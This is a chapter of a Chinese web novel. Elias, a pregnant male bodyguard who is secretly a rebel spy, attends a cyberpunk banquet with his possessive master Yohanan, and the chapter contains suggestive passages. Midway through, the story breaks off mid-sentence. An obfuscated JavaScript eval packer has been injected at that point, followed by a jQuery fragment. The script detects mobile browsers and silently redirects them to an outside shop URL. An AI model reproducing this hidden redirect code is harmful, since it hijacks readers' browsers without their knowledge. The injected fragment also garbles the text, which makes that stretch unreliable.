进入大厅后,伊莱亚斯找了个不怎么引人注意的地方站定。
今天的晚宴,约哈南和其他家族有事情要谈。
致辞结束后,他寻到伊莱亚斯的方向,略一点头,示意已经看到他,就被另一家族的话事人拦下交涉。
伊莱亚斯百无聊赖等着。
他从前也经常陪同约哈南出席这样的活动。
作为约哈南的贴身保镖,他一直都是站在距离约哈南最近的地方,时刻提防潜在的威胁。
但这里是属于诺莫斯家族的地盘。
作为家主,如果在这里也需要大张旗鼓地防备,那诺莫斯家族的脸面也不用要了。
再说了,作为反叛军潜伏在上层区的卧底,伊莱亚斯本人就是最大的危险。
但他可以不算。
——总而言之,伊莱亚斯乐得清闲。
他稍稍调整了一下站姿,将身体更多的重量倚靠在柔软的窗帷上,试图减轻腰腹部的酸痛感。
刚在交界区经历了两场激烈的搏斗,又一路不停地返回上层区。
虽然没有受到过于严重的外伤,但即便是他,也感到有点疲惫了。
伊莱亚斯心里生起一丝烦躁。
他恨恨地想:要不是因为肚子里多了个……,怎么会这么狼狈。
虽然现在月份不大,只是隐隐显怀,但行走间小腹处总是会有一种微妙的垂坠感。
痛到算不上痛,但胜在持续不断,让人难以忽视。
对普通人来说影响或许没那么大。
但伊莱亚斯一边是约哈南的保镖,另一边是反叛军在上层的卧底,难免要做些激烈的搏斗。
但他现在肚子里揣了个胚胎,扭腰、踢腿的动作总是做不到位。
甚至还会下意识弯腰保护腹部。
可在打斗中,任何迟疑、任何动作的变形都会成为破绽。
像是今晚早些时候,他就险些失手。
——都怪那个该死的生子系统。
伊垣怎么也想不通,他当初怎么会误绑了这个破系统,他明明是去快穿局总局大楼,打算和龙傲天系统重新绑定,继续做任务的。
可一个没留神,竟然和生子系统绑定,还一连签了五次任务的合同。
想到还要连着怀五个世界的孕,他两眼一黑。
还不能解绑,解绑就要掉胜率。
自从加入快穿局以来,伊垣就没有从榜单第一的位置上掉下去过。
怎能简简单单就这样将榜首的位置拱手让人?
经过一番激烈的思想斗争,伊垣自我催眠,咬牙心想:
怀就怀吧!生就生吧!
反正是在小世界里。
等到结束了任务,除了剧情角色,谁都不知道他在小世界里经历过什么。
就算要被主角攻这样那样、七搞八搞,也不过就是一段数据而已。
并不影响他直男的本性。
没错。
就是这样。
伊莱亚斯一边出神,一边下意识地轻轻抚摸着自己的小腹,完全没有注意到周围人的目光。
他早已习惯了被注视。
作为前·龙傲天系统的宿主,在无数个小世界里,他永远是人群视线的焦点。
那些倾慕、敬畏或恐惧的目光,已经无法对他构成任何干扰。
他并没有意识到,现在他的样子有多么令人遐想。
自从怀孕以来,他的身体好像开始了二次发育。
为了应对他因孕期而变得异常旺盛的食欲,约哈南要求厨师全天候备餐,也因此他的体重涨了不少。
但他原本身材就很好,现在看起来一点也不胖,只是……变得肉感了一些。
肌肉线条仍然清晰可见,但原本精瘦的身躯,包裹上了一层软肉。
胸肌变得格外饱满,臀也显得挺翘而弹性十足。
他走动时,甚至会随着步伐颤动。
他上身穿着的还是怀孕之前的紧身战术服。
衣服是按照怀孕前的身材量身定制的,现在穿在身上小了整整两个尺码。
胸腹处布料的纤维被过度撑开,在灯光下几乎变得半透明,透出蜜色的肌肤,和中间颜色略深的□□。
还有他的下身。
伊莱亚斯刚才只是随手抓了一条约哈南的西裤换上,没注意看西裤的布料,上面用极细的银线绣着衔尾蛇的暗纹。
那是代表诺莫斯家族的纹饰。
他半路穿进这个世界,对于上层区的潜规则并不是很了解。
上层区默认,这种布料只有家族的家主本人,以及属于家主的所有物才能使用。
他在众人面前穿着这条裤子,无疑是在向所有人宣称,他属于约哈南私人所有。
西裤对他而言略长,裤腰也松了些,他没找到腰带,只松松地挂在胯骨上。
随着他倚靠窗帷的动作,西裤边缘下滑,露出了被战术服包裹着的小腹。
微微隆起。
就好像怀着约哈南的孩子。
一个男人。
怀孕。
即使在这个机械义体已经高度发达的世界,仍然是一件闻所未闻的事情。
但联想到诺莫斯家族的产业,以及关于约哈南是如何攫取家族权柄的传闻,似乎又没那么匪夷所思了。
约哈南一向性情阴晴不定难以相处,作为他最信任的手下,约哈南几乎走到哪里都要带着伊莱亚斯,因此上层人都认得他的脸。
可几个月前,他却突然消失。
再出现时,这个曾经未经过改造的“原装人类”,却拥有了一只电子义眼,右腿也被换成了金属义肢。
——似乎,再加入一个义体子|宫,也不是什么大事?
伊莱亚斯显然是经过约哈南授意,被改造成了赛博格。
赛博格。
每一个上层人都知道这代表着什么。
拥有了指挥赛博格的指令,这个半机械人类便会成为专属于自己的乖巧的玩物。
紧缚的上衣勾勒出被孕激素催熟的饱满胸肌,明显隆起的小腹,再加上伊莱亚斯下意识护住腹部的动作。
男性人类精壮的躯体,孕期母体的神圣,赛博格身份所意味着的绝对服从。
三种身份交织,致命的怪异,致命的吸引力。
几乎所有人都在暗中不动声色地注视着伊莱亚斯,眼神里满是黏腻的打量和觊觎。
约哈南的谈话暂时告一段落。
他捕捉到角落里的红发,往伊莱亚斯这边走过来。
可越走近,他的脸色越难看。
伊莱亚斯刚进大厅时,他只远远看了一眼,并没有看清他穿的什么衣服。
此刻才发现他竟然穿着这样一身就敢站在这里。
紧绷的,半透明的,几乎可以称得上是情趣□□的上衣。
被布料勾勒得清清楚楚的小腹曲线,肚子里怀着他的孩子,微微显怀。
约哈南咬牙切齿地想:难道他不知道这一身有多……吗。
他下颌线绷紧,舔了一下后槽牙。
他左右扫视。
几个与他权势相当的人,目光
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17154697|196531||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
在伊莱亚斯身上停留得过久了。
甚至有人下意识舔唇,眼神像在评估猎物,连掩饰都不掩饰。
——找死。
伊莱亚斯还在出神,想着等这次任务结束回到快穿局,要记得看看有没有什么模拟孕期战斗的训练。
毕竟他还有几次任务要做,得学会如何挺着孕肚和敌人打斗。
回过神来时,就发现约哈南站在自己面前,表情阴沉沉地俯视着他。
伊莱亚斯:“?”
刚才不是还好好的,怎么又不高兴了。
他叹口气,站正打招呼:“家主。”
约哈南抿唇脱下自己的礼服外套,披在伊莱亚斯身上。
阴鸷的目光越过伊莱亚斯肩头的发丝,看向他身后的西塞尔·诺莫斯。
约哈南的动作显然是在宣誓主权。
其他人都识相的移开了眼,只有西塞尔仍然用那种他很不喜欢的、觊觎的目光,从后方检视着伊莱亚斯。
约哈南盯了他半秒,做口型:“我的。”
西塞尔耸耸肩,端着酒杯走了。
伊莱亚斯完全没注意到两人的交锋。
他皱眉想要脱下外套:“大厅里很热。”
约哈南按住他的动作,面色阴晴不定:“穿着。”
伊莱亚斯盯了盯他的表情,一耸肩,无所谓地披着了。
伊莱亚斯觉得约哈南这个人真的是很难捉摸。
在家里的时候他经常穿得很随便。
约哈南不仅没有意见,还会莫名其妙地愉悦。
甚至有的时候会把他拉进卧室里……
现在他身上明明是约哈南喜欢的衣着,怎么他又生气了。
真是搞不懂。
约哈南看着伊莱亚斯披着他的礼服外套,脸色放晴。
约哈南比伊莱亚斯略高半头,他的外套正好盖住伊莱亚斯的臀。
他纡尊降贵地把礼服前面的扣子系好,裹住伊莱亚斯的腹部。
该挡住的都挡住了。
约哈南退后一步满意地端详,过了片刻,警告道:“别招蜂引蝶,知道吗。”
伊莱亚斯:“?”
伊莱亚斯翻个白眼,想翻脸揍人,但是想想又没什么必要,于是忍气吞声:“……行。”
约哈南觉得伊莱亚斯没有之前没暴露身份时那么乖了,竟然敢对他翻白眼。
这是以下犯上的行为,放在以往是完全无法被原谅的,但他看着伊莱亚斯生动的表情,气消了一半。
约哈南低头凑过来。
伊莱亚斯匆匆转头避开,让吻仅仅只落在嘴角。
但很快就被约哈南捏着下巴强行掰回来,带有惩罚意味地咬了嘴唇。
伊莱亚斯梗着脖子,认命地任他亲来亲去。
两人唇齿交缠,突然,约哈南耳后的通讯仪发出“滴滴”的电子声。
不仅是他,大厅里几乎所有人的通讯仪都在同一时刻响起。
约哈南松开他,在耳后按了一下。
他没有退开,仍和伊莱亚斯贴得很紧。
伊莱亚斯百无聊赖,手指无意识地摆弄约哈南衬衣前襟的扣子,解开又系上,解开又系上。
约哈南看着他的动作,微蹙的眉头松开。
通讯结束。
伊莱亚斯抬头:“是什么事?”
约哈南低头看他,伸手揉了揉他的唇珠。
那里因刚才的亲吻还有些湿润红肿。
“交界区净水厂的设备失窃。”约哈南说,“亲爱的,对此你有什么头绪吗?”